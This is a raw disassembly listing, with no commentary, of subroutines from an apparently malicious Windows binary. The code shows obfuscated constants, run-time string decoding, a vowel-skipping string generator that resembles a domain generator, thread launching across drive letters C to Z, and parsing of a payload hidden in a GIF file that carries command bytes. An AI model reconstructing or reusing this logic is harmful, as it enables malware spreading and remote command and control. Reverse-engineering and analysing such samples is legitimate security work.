		mov	[ebp+var_4], edx
		mov	edi, edx
		add	edi, 61h
		mov	ebx, edi
		mov	[ebp+arg_0], bl
		cmp	[ebp+arg_0], 6Ah
		jnz	short loc_443A52
		add	[ebp+arg_0], 1


loc_443A52:				; CODE XREF: sub_443A22+2Aj
		mov	al, [ebp+arg_0]
		cmp	al, 65h
		jz	short loc_443A6D
		cmp	al, 79h
		jz	short loc_443A6D
		cmp	al, 75h
		jz	short loc_443A6D
		cmp	al, 69h
		jz	short loc_443A6D
		cmp	al, 6Fh
		jz	short loc_443A6D
		cmp	al, 61h
		jnz	short loc_443A71


loc_443A6D:				; CODE XREF: sub_443A22+35j
					; sub_443A22+39j ...
		add	[ebp+arg_0], 1


loc_443A71:				; CODE XREF: sub_443A22+49j
		movzx	eax, [ebp+arg_0]
		pop	edi
		pop	ebx
		leave
		retn
sub_443A22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443A79	proc near		; CODE XREF: sub_438324+481p
					; sub_438324+49Dp

var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_4455B4
		push	esi
		push	edi
		push	5
		push	[ebp+arg_0]
		call	ds:dword_446004
		mov	edi, eax


loc_443A95:				; CODE XREF: sub_443A79+7Bj
		mov	eax, dword_54F20C
		sub	eax, 4
		cmp	edi, eax
		jnz	short loc_443AA5
		xor	eax, eax
		jmp	short loc_443AF6
; ---------------------------------------------------------------------------


loc_443AA5:				; CODE XREF: sub_443A79+26j
		push	0FFFh
		lea	eax, [ebp+var_FFF]
		push	eax
		push	edi
		call	ds:dword_447FD0
		movsx	eax, word_54F118
		sub	eax, 7
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_FFF]
		push	eax
		call	sub_43DE22
		add	esp, 0Ch
		mov	esi, dword_54F0E4
		add	esi, 0FFFAh
		cmp	eax, esi
		jz	short loc_443AE9
		mov	eax, edi
		jmp	short loc_443AF6
; ---------------------------------------------------------------------------


loc_443AE9:				; CODE XREF: sub_443A79+6Aj
		push	2
		push	edi
		call	ds:dword_446004
		mov	edi, eax
		jmp	short loc_443A95
; ---------------------------------------------------------------------------


loc_443AF6:				; CODE XREF: sub_443A79+2Aj
					; sub_443A79+6Ej
		pop	edi
		pop	esi
		leave
		retn
sub_443A79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443AFA	proc near		; CODE XREF: sub_43B0C6+AEp
					; sub_43B71B+45p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	eax, dword_54F120
		mov	esi, eax
		add	esi, dword_54F0D8
		sub	esi, 0Eh
		movsx	edi, word_54F1C4
		sub	edi, 8
		jmp	short loc_443B6A
; ---------------------------------------------------------------------------


loc_443B20:				; CODE XREF: sub_443AFA+7Cj
		movzx	edx, word ptr [ebx+edi*2]
		mov	ecx, [ebp+arg_4]
		movzx	ecx, word ptr [ecx+edi*2]
		add	edx, ecx
		add	edx, esi
		mov	[ebp+var_4], edx
		mov	eax, dword_54F1AC
		add	eax, 0FFFDh
		cmp	edx, eax
		jbe	short loc_443B59
		movsx	esi, word_54F1CC
		sub	esi, 8
		mov	eax, dword_54F180
		add	eax, 10000h
		sub	[ebp+var_4], eax
		jmp	short loc_443B62
; ---------------------------------------------------------------------------


loc_443B59:				; CODE XREF: sub_443AFA+44j
		mov	esi, dword_54F170
		sub	esi, 4


loc_443B62:				; CODE XREF: sub_443AFA+5Dj
		mov	edx, [ebp+var_4]
		mov	[ebx+edi*2], dx
		inc	edi


loc_443B6A:				; CODE XREF: sub_443AFA+24j
		movsx	eax, word_54F1A4
		add	eax, 1Ah
		cmp	edi, eax
		jb	short loc_443B20
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_443AFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_443B7F	proc near		; DATA XREF: sub_444ED7:loc_445202o

var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_E		= byte ptr -0Eh
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		mov	esi, 43h
		jmp	short loc_443BA4
; ---------------------------------------------------------------------------


loc_443B8F:				; CODE XREF: sub_443B7F+28j
		mov	ebx, dword_54F0E8
		add	ebx, dword_54F1DC
		dec	ebx
		mov	ds:dword_54DB20[esi*4],	ebx
		inc	esi


loc_443BA4:				; CODE XREF: sub_443B7F+Ej
		cmp	esi, 5Ah
		jbe	short loc_443B8F


loc_443BA9:				; CODE XREF: sub_443B7F+1F0j
		mov	edi, 43h
		jmp	loc_443D56
; ---------------------------------------------------------------------------


loc_443BB3:				; CODE XREF: sub_443B7F+1DAj
		push	offset byte_54F5A3
		call	sub_43AAF7
		push	edi
		push	eax
		lea	ebx, [ebp+var_E]
		push	ebx
		call	ds:dword_50C928
		mov	eax, dword_54F100
		add	eax, dword_54F1BC
		sub	eax, 0Fh
		push	eax
		call	ds:dword_50C924
		add	esp, 14h
		mov	ebx, dword_54F22C
		sub	ebx, 7
		cmp	ds:dword_54DB20[edi*4],	ebx
		jz	short loc_443C38
		movsx	eax, word_54F118
		sub	eax, 8
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		push	eax
		push	ds:dword_54DB20[edi*4]
		call	ds:dword_54C94C
		cmp	[ebp+var_14], 103h
		jz	short loc_443C38
		push	ds:dword_54DB20[edi*4]
		call	ds:dword_4CB948
		movsx	ebx, word_54F128
		sub	ebx, 5
		mov	ds:dword_54DB20[edi*4],	ebx


loc_443C38:				; CODE XREF: sub_443B7F+72j
					; sub_443B7F+99j
		lea	eax, [ebp+var_E]
		push	eax
		call	ds:dword_54C964
		mov	[ebp+var_4], eax
		cmp	eax, 3
		jz	short loc_443C8C
		cmp	eax, 4
		jz	short loc_443C8C
		cmp	eax, 2
		jz	short loc_443C8C
		mov	ebx, dword_54F24C
		add	ebx, dword_54F0E0
		sub	ebx, 0Fh
		cmp	ds:dword_54DB20[edi*4],	ebx
		jz	loc_443D55
		movsx	ebx, word_54F0C4
		add	ebx, dword_54F1B0
		sub	ebx, 0Dh
		mov	ds:dword_4495E0[edi*4],	ebx
		jmp	loc_443D55
; ---------------------------------------------------------------------------


loc_443C8C:				; CODE XREF: sub_443B7F+C9j
					; sub_443B7F+CEj ...
		push	1
		call	ds:dword_447FC0
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_E]
		push	eax
		call	ds:dword_449088
		mov	ebx, dword_54F1EC
		sub	ebx, 3
		cmp	eax, ebx
		jnz	short loc_443CE9
		mov	ebx, dword_54F134
		sub	ebx, 2
		cmp	ds:dword_54DB20[edi*4],	ebx
		jz	loc_443D55
		mov	ebx, dword_54F15C
		add	ebx, dword_54F120
		sub	ebx, 0Ch
		mov	ds:dword_4495E0[edi*4],	ebx
		jmp	short loc_443D55
; ---------------------------------------------------------------------------


loc_443CE9:				; CODE XREF: sub_443B7F+13Aj
		mov	ebx, dword_54F0BC
		movsx	edx, word_54F0F8
		add	ebx, edx
		sub	ebx, 5
		cmp	ds:dword_54DB20[edi*4],	ebx
		jnz	short loc_443D55
		mov	ds:dword_4495E0[edi*4],	edi
		lea	eax, [ebp+var_28]
		push	eax
		mov	eax, dword_54F0BC
		movsx	edx, word_54F190
		add	eax, edx
		sub	eax, 8
		push	eax
		lea	ebx, ds:4495E0h[edi*4]
		push	ebx
		push	offset sub_43BE1F
		mov	ebx, dword_54F100
		add	ebx, dword_54F0E8
		sub	ebx, 0Ah
		push	ebx
		mov	ebx, dword_54F10C
		sub	ebx, 2
		push	ebx
		call	ds:dword_54DF20
		mov	ds:dword_54DB20[edi*4],	eax


loc_443D55:				; CODE XREF: sub_443B7F+EBj
					; sub_443B7F+108j ...
		inc	edi


loc_443D56:				; CODE XREF: sub_443B7F+2Fj
		cmp	edi, 5Ah
		jbe	loc_443BB3
		mov	eax, dword_54F1B0
		sub	eax, 7
		push	eax
		call	ds:dword_50C924
		pop	ecx
		jmp	loc_443BA9
sub_443B7F	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443D7B	proc near		; CODE XREF: sub_443885+50p
					; sub_443885+65p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	[ebp+arg_0]
		push	dword_54F278
		call	ds:dword_4491AC
		mov	edi, eax
		pop	edi
		pop	ebp
		retn
sub_443D7B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443D93	proc near		; DATA XREF: .data:off_54F2ECo

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		push	offset dword_550A98
		push	esi
		call	ds:dword_50C93C
		or	eax, eax
		jz	short loc_443DBF
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_443E14
; ---------------------------------------------------------------------------


loc_443DBF:				; CODE XREF: sub_443D93+1Aj
		push	offset dword_550A18
		push	esi
		call	ds:dword_50C93C
		or	eax, eax
		jz	short loc_443DDF
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_443E14
; ---------------------------------------------------------------------------


loc_443DDF:				; CODE XREF: sub_443D93+3Aj
		push	offset dword_5509D8
		push	esi
		call	ds:dword_50C93C
		or	eax, eax
		jz	short loc_443DFF
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_443E14
; ---------------------------------------------------------------------------


loc_443DFF:				; CODE XREF: sub_443D93+5Aj
		mov	eax, dword_54F20C
		add	eax, dword_54F098
		sub	eax, 0Dh
		mov	[edi], eax
		mov	eax, 80004002h


loc_443E14:				; CODE XREF: sub_443D93+2Aj
					; sub_443D93+4Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_443D93	endp


; =============== S U B	R O U T	I N E =======================================



sub_443E1B	proc near		; CODE XREF: sub_444ED7+20p
		push	edi
		push	offset byte_54F595
		call	sub_43AAF7
		pop	ecx
		push	eax
		call	ds:dword_449598
		mov	dword_54F270, eax
		movsx	eax, word_54F0A8
		cmp	dword_54F270, eax
		jnz	short loc_443E59
		push	offset byte_54F587
		call	sub_43AAF7
		pop	ecx
		push	eax
		call	ds:dword_48A218
		mov	dword_54F270, eax


loc_443E59:				; CODE XREF: sub_443E1B+25j
		mov	eax, dword_54F100
		add	eax, dword_54F1A0
		sub	eax, 11h
		cmp	dword_54F270, eax
		jz	short loc_443E8B
		movsx	eax, word_54F164
		add	eax, 4
		push	eax
		push	dword_54F270
		call	ds:dword_4491AC
		mov	ds:dword_446024, eax


loc_443E8B:				; CODE XREF: sub_443E1B+52j
		pop	edi
		retn
sub_443E1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443E8D	proc near		; CODE XREF: sub_43D090+1AAp
					; sub_441843+279p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		inc	esi
		mov	edi, dword_54F23C
		add	edi, 1Fh
		mov	eax, esi
		test	eax, eax
		jge	short loc_443EAE
		add	eax, 0FFh


loc_443EAE:				; CODE XREF: sub_443E8D+1Aj
		sar	eax, 8
		mov	ebx, dword_54F0C0
		add	ebx, 7
		mov	edx, eax
		imul	edx, ebx
		add	edi, edx
		mov	[ebp+var_8], edi
		mov	edi, dword_54F134
		add	edi, 13h
		mov	eax, esi
		test	eax, eax
		jge	short loc_443ED8
		add	eax, 0FFh


loc_443ED8:				; CODE XREF: sub_443E8D+44j
		sar	eax, 8
		movsx	ebx, word_54F0F4
		add	ebx, 0Fh
		mov	edx, eax
		imul	edx, ebx
		add	edi, edx
		mov	[ebp+var_C], edi
		mov	edi, dword_54F1F4
		add	edi, 18h
		mov	eax, esi
		test	eax, eax
		jge	short loc_443F03
		add	eax, 0FFFFh


loc_443F03:				; CODE XREF: sub_443E8D+6Fj
		sar	eax, 10h
		movsx	ebx, word_54F144
		mov	ecx, dword_54F180
		lea	ebx, [ebx+ecx+13h]
		mov	edx, eax
		imul	edx, ebx
		add	edi, edx
		mov	[ebp+var_10], edi
		mov	eax, esi
		and	eax, 0FFh
		push	eax
		call	sub_443A22
		mov	ebx, eax
		mov	[ebp+var_11], bl
		mov	eax, esi
		mul	[ebp+var_10]
		mov	[ebp+var_1C], eax
		and	eax, 0FFh
		push	eax
		call	sub_443A22
		mov	ebx, eax
		mov	[ebp+var_12], bl
		mov	eax, esi
		mul	[ebp+var_8]
		mov	[ebp+var_20], eax
		and	eax, 0FFh
		push	eax
		call	sub_443A22
		mov	ebx, eax
		mov	[ebp+var_1], bl
		mov	eax, dword_54F0C8
		add	eax, 70h
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_43B23C
		mov	ebx, eax
		mov	[ebp+var_13], bl
		movsx	eax, word_54F210
		mov	edx, dword_54F124
		lea	eax, [eax+edx+5]
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_43B23C
		mov	ebx, eax
		mov	[ebp+var_14], bl
		mov	eax, dword_54F168
		add	eax, 2Dh
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_43B23C
		mov	ebx, eax
		mov	[ebp+var_15], bl
		mov	eax, esi
		mul	[ebp+var_C]
		mov	[ebp+var_24], eax
		and	eax, 0FFh
		push	eax
		call	sub_443A22
		mov	ebx, eax
		mov	[ebp+var_16], bl
		mov	eax, dword_54F0C8
		add	eax, 42h
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_443A22
		mov	ebx, eax
		mov	[ebp+var_17], bl
		mov	eax, dword_54F204
		add	eax, 45h
		movsx	edx, word_54F094
		add	eax, edx
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_43B23C
		add	esp, 24h
		mov	ebx, eax
		mov	[ebp+var_18], bl
		movzx	edi, [ebp+var_1]
		mov	eax, edi
		shr	eax, 1
		movsx	esi, word_54F0D0
		add	esi, dword_54F174
		sub	esi, 0Bh
		mul	esi
		mov	[ebp+var_28], eax
		mov	esi, eax
		cmp	esi, edi
		jnz	short loc_444094
		push	offset byte_54F56D
		call	sub_43AAF7
		movzx	edi, [ebp+var_17]
		push	edi
		movzx	edi, [ebp+var_18]
		push	edi
		movzx	edi, [ebp+var_12]
		push	edi
		movzx	edi, [ebp+var_15]
		push	edi
		movzx	edi, [ebp+var_11]
		push	edi
		movzx	edi, [ebp+var_13]
		push	edi
		movzx	edi, [ebp+var_16]
		push	edi
		movzx	edi, [ebp+var_14]
		push	edi
		movzx	edi, [ebp+var_1]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_50C928
		add	esp, 30h
		jmp	short loc_4440D8
; ---------------------------------------------------------------------------


loc_444094:				; CODE XREF: sub_443E8D+1BFj
		push	offset word_54F552
		call	sub_43AAF7
		movzx	edi, [ebp+var_17]
		push	edi
		movzx	edi, [ebp+var_18]
		push	edi
		movzx	edi, [ebp+var_12]
		push	edi
		movzx	edi, [ebp+var_15]
		push	edi
		movzx	edi, [ebp+var_11]
		push	edi
		movzx	edi, [ebp+var_13]
		push	edi
		movzx	edi, [ebp+var_16]
		push	edi
		movzx	edi, [ebp+var_14]
		push	edi
		movzx	edi, [ebp+var_1]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_50C928
		add	esp, 30h


loc_4440D8:				; CODE XREF: sub_443E8D+205j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_443E8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4440DD	proc near		; CODE XREF: sub_440408+64p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	ds:dword_48A218
		mov	ebx, eax
		mov	eax, dword_54F0EC
		dec	eax
		cmp	ebx, eax
		jz	loc_44424B
		push	offset byte_54F54D
		call	sub_43AAF7
		push	eax
		push	ebx
		call	ds:dword_4491AC
		mov	ds:dword_446008, eax
		push	offset dword_54F548
		call	sub_43AAF7
		add	esp, 8
		push	eax
		push	ebx
		call	ds:dword_4491AC
		mov	ds:dword_447004, eax
		mov	eax, dword_54F090
		sub	eax, 4
		cmp	ds:dword_447004, eax
		jz	loc_44424B
		mov	eax, dword_54F0A4
		sub	eax, 7
		cmp	ds:dword_446008, eax
		jz	loc_44424B
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ds:dword_447004
		mov	edi, eax
		mov	eax, dword_54F200
		add	eax, dword_54F1F8
		sub	eax, 2
		cmp	eax, edi
		jnb	short loc_444185
		push	ebx
		call	ds:dword_54DB1C
		jmp	loc_44424B
; ---------------------------------------------------------------------------


loc_444185:				; CODE XREF: sub_4440DD+9Aj
		mov	esi, dword_54F114
		add	esi, 0FFFFFFFEh
		mov	eax, dword_54F1A0
		mov	edi, eax
		add	edi, dword_54F184
		sub	edi, 0Ch
		jmp	short loc_4441CD
; ---------------------------------------------------------------------------


loc_4441A0:				; CODE XREF: sub_4440DD+F6j
		mov	edx, [ebp+var_8]
		cmp	ds:dword_48A220[edi*4],	edx
		jnz	short loc_4441CC
		mov	esi, edi
		mov	edx, [ebp+var_4]
		cmp	ds:dword_4CC920[edi*4],	edx
		jb	short loc_4441CC
		push	ebx
		call	ds:dword_54DB1C
		push	[ebp+arg_0]
		call	ds:dword_44600C
		jmp	short loc_44424B
; ---------------------------------------------------------------------------


loc_4441CC:				; CODE XREF: sub_4440DD+CDj
					; sub_4440DD+DBj
		inc	edi


loc_4441CD:				; CODE XREF: sub_4440DD+C1j
		cmp	edi, dword_54F2A4
		jb	short loc_4441A0
		mov	eax, dword_54F214
		add	eax, 0FFFFFFFCh
		movsx	edx, word_54F0A8
		add	eax, edx
		cmp	esi, eax
		jz	short loc_444217
		push	ds:dword_50C950[esi*4]
		call	ds:dword_54DB1C
		mov	edi, [ebp+var_4]
		mov	ds:dword_4CC920[esi*4],	edi
		mov	edi, ds:dword_446008
		mov	ds:dword_4499E0[esi*4],	edi
		mov	ds:dword_50C950[esi*4],	ebx
		jmp	short loc_44424B
; ---------------------------------------------------------------------------


loc_444217:				; CODE XREF: sub_4440DD+10Bj
		mov	edi, dword_54F2A4
		mov	edx, [ebp+var_8]
		mov	ds:dword_48A220[edi*4],	edx
		mov	ds:dword_50C950[edi*4],	ebx
		mov	ebx, ds:dword_446008
		mov	ds:dword_4499E0[edi*4],	ebx
		mov	ebx, [ebp+var_4]
		mov	ds:dword_4CC920[edi*4],	ebx
		inc	dword_54F2A4


loc_44424B:				; CODE XREF: sub_4440DD+1Bj
					; sub_4440DD+60j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4440DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444250	proc near		; CODE XREF: sub_43DB03+232p
					; sub_43DB03+244p

var_61EA3	= byte ptr -61EA3h
var_61DA8	= dword	ptr -61DA8h
var_61DA4	= dword	ptr -61DA4h
var_61D9E	= byte ptr -61D9Eh
var_61D9D	= byte ptr -61D9Dh
var_61C9E	= byte ptr -61C9Eh
var_61C9D	= byte ptr -61C9Dh
var_61C9C	= dword	ptr -61C9Ch
var_61C98	= byte ptr -61C98h
var_30F58	= dword	ptr -30F58h
var_30F54	= byte ptr -30F54h
var_30E50	= dword	ptr -30E50h
var_30E4C	= dword	ptr -30E4Ch
var_30E48	= dword	ptr -30E48h
var_30E44	= dword	ptr -30E44h
var_30E3F	= byte ptr -30E3Fh
var_30E3E	= byte ptr -30E3Eh
var_30E3D	= byte ptr -30E3Dh
var_30E3C	= byte ptr -30E3Ch
var_30E3B	= byte ptr -30E3Bh
var_30E3A	= byte ptr -30E3Ah
var_30E15	= byte ptr -30E15h
var_30E14	= byte ptr -30E14h
var_30DC5	= byte ptr -30DC5h
var_30DBE	= byte ptr -30DBEh
var_30DBD	= byte ptr -30DBDh
var_30DBC	= byte ptr -30DBCh
var_30D4E	= byte ptr -30D4Eh
var_30D4A	= byte ptr -30D4Ah
var_30D40	= byte ptr -30D40h
var_30D3F	= byte ptr -30D3Fh
var_30D3D	= byte ptr -30D3Dh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 61EA4h
		call	sub_4455B4
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	eax, dword_54F180
		movsx	edx, word_54F118
		add	eax, edx
		sub	eax, 8
		push	eax
		mov	eax, dword_54F114
		dec	eax
		push	eax
		push	3
		mov	eax, dword_54F0C8
		dec	eax
		push	eax
		mov	eax, dword_54F0E0
		sub	eax, 6
		push	eax
		push	80000000h
		push	[ebp+arg_0]
		call	ds:dword_54DB18
		mov	[ebp+var_30E48], eax
		and	[ebp+var_30F58], 0
		and	[ebp+var_30E50], 0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4447ED
		mov	eax, dword_54F0D4
		add	eax, dword_54F1EC
		sub	eax, 8
		push	eax
		lea	eax, [ebp+var_30E4C]
		push	eax
		mov	eax, dword_54F174
		add	eax, 7Ch
		add	eax, dword_54F0EC
		push	eax
		lea	eax, [ebp+var_30E3F]
		push	eax
		push	[ebp+var_30E48]
		call	ds:dword_446034
		mov	[ebp+var_30E44], eax
		mov	eax, dword_54F0B0
		movsx	edx, word_54F104
		add	eax, edx
		sub	eax, 5
		cmp	[ebp+var_30E44], eax
		jz	loc_4447CF
		cmp	[ebp+var_30E3C], 38h
		jnz	short loc_44432F
		cmp	[ebp+var_30E3B], 39h
		jnz	short loc_44432F
		cmp	[ebp+var_30E3A], 61h
		jz	short loc_444334


loc_44432F:				; CODE XREF: sub_444250+CBj
					; sub_444250+D4j
		jmp	loc_4447CF
; ---------------------------------------------------------------------------


loc_444334:				; CODE XREF: sub_444250+DDj
		cmp	[ebp+var_30E3F], 47h
		jnz	short loc_44434F
		cmp	[ebp+var_30E3E], 49h
		jnz	short loc_44434F
		cmp	[ebp+var_30E3D], 46h
		jz	short loc_444354


loc_44434F:				; CODE XREF: sub_444250+EBj
					; sub_444250+F4j
		jmp	loc_4447CF
; ---------------------------------------------------------------------------


loc_444354:				; CODE XREF: sub_444250+FDj
		movzx	eax, [ebp+var_30E15]
		mov	edx, dword_54F1E4
		add	edx, 37h
		cmp	eax, edx
		jnz	short loc_44437A
		cmp	[ebp+var_30DBE], 3Dh
		jnz	short loc_44437A
		cmp	[ebp+var_30DBD], 3Dh
		jz	short loc_44437F


loc_44437A:				; CODE XREF: sub_444250+116j
					; sub_444250+11Fj
		jmp	loc_4447CF
; ---------------------------------------------------------------------------


loc_44437F:				; CODE XREF: sub_444250+128j
		or	ebx, ebx
		jnz	short loc_4443C9
		call	sub_43BB30
		mov	edx, eax
		mov	[ebp+var_61C9E], dl
		mov	al, [ebp+var_30DBC]
		mov	[ebp+var_61C9D], al
		mov	eax, dword_54F0BC
		cmp	[ebp+eax+var_30DBC], 40h
		jnz	short loc_4443B7
		mov	[ebp+var_30E50], 1
		jmp	short loc_4443C9
; ---------------------------------------------------------------------------


loc_4443B7:				; CODE XREF: sub_444250+159j
		mov	al, [ebp+var_61C9E]
		cmp	al, [ebp+var_61C9D]
		jz	loc_4447CF


loc_4443C9:				; CODE XREF: sub_444250+131j
					; sub_444250+165j
		mov	eax, dword_54F0D8
		sub	eax, 6
		push	eax
		lea	eax, [ebp+var_30E4C]
		push	eax
		push	30D40h
		lea	eax, [ebp+var_61C98]
		push	eax
		push	[ebp+var_30E48]
		call	ds:dword_446034
		mov	[ebp+var_30E44], eax
		mov	eax, dword_54F0B0
		sub	eax, 5
		cmp	[ebp+var_30E44], eax
		jz	loc_4447CF
		mov	eax, [ebp+var_30E4C]
		mov	edx, dword_54F100
		sub	edx, 9
		mov	[ebp+eax+var_61C98], dl
		push	30D40h
		lea	eax, [ebp+var_30D40]
		push	eax
		lea	eax, [ebp+var_61C98]
		push	eax
		call	sub_444AA8
		add	esp, 0Ch
		mov	esi, eax
		movsx	edi, word_54F0CC
		dec	edi
		jmp	short loc_44448D
; ---------------------------------------------------------------------------


loc_444448:				; CODE XREF: sub_444250+23Fj
		or	ebx, ebx
		jz	short loc_44445F
		movzx	eax, [ebp+edi+var_30D40]
		sub	eax, edi
		mov	[ebp+edi+var_30D40], al
		jmp	short loc_44448C
; ---------------------------------------------------------------------------


loc_44445F:				; CODE XREF: sub_444250+1FAj
		movzx	eax, [ebp+edi+var_30D40]
		mov	[ebp+var_61DA4], eax
		mov	eax, edi
		mul	edi
		mov	[ebp+var_61DA8], eax
		mov	eax, [ebp+var_61DA4]
		mov	edx, [ebp+var_61DA8]
		sub	eax, edx
		mov	[ebp+edi+var_30D40], al


loc_44448C:				; CODE XREF: sub_444250+20Dj
		inc	edi


loc_44448D:				; CODE XREF: sub_444250+1F6j
		cmp	edi, esi
		jb	short loc_444448
		or	ebx, ebx
		jz	short loc_4444B8
		movsx	eax, word_54F0D0
		sub	eax, 5
		mov	edx, esi
		sub	edx, eax
		mov	eax, dword_54F124
		add	eax, dword_54F188
		sub	eax, 7
		mov	[ebp+edx+var_30D40], al


loc_4444B8:				; CODE XREF: sub_444250+243j
		mov	eax, dword_54F110
		mov	edx, dword_54F168
		add	edx, dword_54F178
		sub	edx, 0Bh
		mov	[ebp+eax+var_30DC5], dl
		push	0FFh
		lea	eax, [ebp+var_61D9D]
		push	eax
		lea	eax, [ebp+var_30E14]
		push	eax
		call	sub_444AA8
		lea	eax, [ebp+var_61D9D]
		push	eax
		push	esi
		lea	eax, [ebp+var_30D40]
		push	eax
		call	sub_43B3AD
		add	esp, 18h
		mov	[ebp+var_30E44], eax
		mov	eax, dword_54F1C8
		movsx	edx, word_54F198
		add	eax, edx
		sub	eax, 9
		cmp	[ebp+var_30E44], eax
		jnz	loc_4447CF
		mov	[ebp+var_30F58], 1
		or	ebx, ebx
		jz	loc_444677
		mov	eax, dword_54F1D0
		add	eax, dword_54F1F8
		cmp	[ebp+eax+var_30D4A], 64h
		jnz	loc_4445E5
		movzx	eax, [ebp+var_30D3F]
		movsx	edx, word_54F164
		add	edx, 1Fh
		sub	eax, edx
		mov	[ebp+var_61D9E], al
		movzx	eax, [ebp+var_61D9E]
		push	eax
		mov	eax, dword_54F0B0
		add	eax, dword_54F204
		sub	eax, 7
		push	eax
		call	sub_43D090
		mov	eax, dword_54F234
		movsx	edx, word_54F1A4
		add	eax, edx
		sub	eax, 0Eh
		mov	ds:dword_4495D0, eax
		mov	eax, dword_54F1FC
		mov	dword_54F2A0, eax
		mov	eax, dword_54F1D0
		add	eax, dword_54F110
		movsx	edx, word_54F210
		add	edx, dword_54F17C
		sub	edx, 0Ch
		mov	[ebp+eax+var_30D4E], dl
		mov	eax, dword_54F1AC
		add	eax, dword_54F150
		sub	eax, 5
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	sub_444D68
		add	esp, 10h


loc_4445E5:				; CODE XREF: sub_444250+2FAj
		mov	eax, dword_54F0BC
		cmp	[ebp+eax+var_30D40], 67h
		jnz	loc_4447CF
		mov	eax, dword_54F0A4
		mov	edx, dword_54F1EC
		movsx	ecx, word_54F0A8
		add	edx, ecx
		sub	edx, 3
		mov	[ebp+eax+var_30D3D], dl
		lea	eax, [ebp+var_30D3F]
		push	eax
		call	ds:dword_44701C
		mov	[ebp+var_61DA4], eax
		push	eax
		push	offset dword_54C970
		call	sub_443E8D
		mov	eax, dword_54F1D4
		add	eax, dword_54F1EC
		sub	eax, 0Bh
		mov	ds:dword_4495D0, eax
		mov	eax, dword_54F0A0
		add	eax, dword_54F1C8
		sub	eax, 0Bh
		mov	dword_54F2A0, eax
		mov	eax, dword_54F120
		sub	eax, 7
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	sub_444D68
		add	esp, 14h
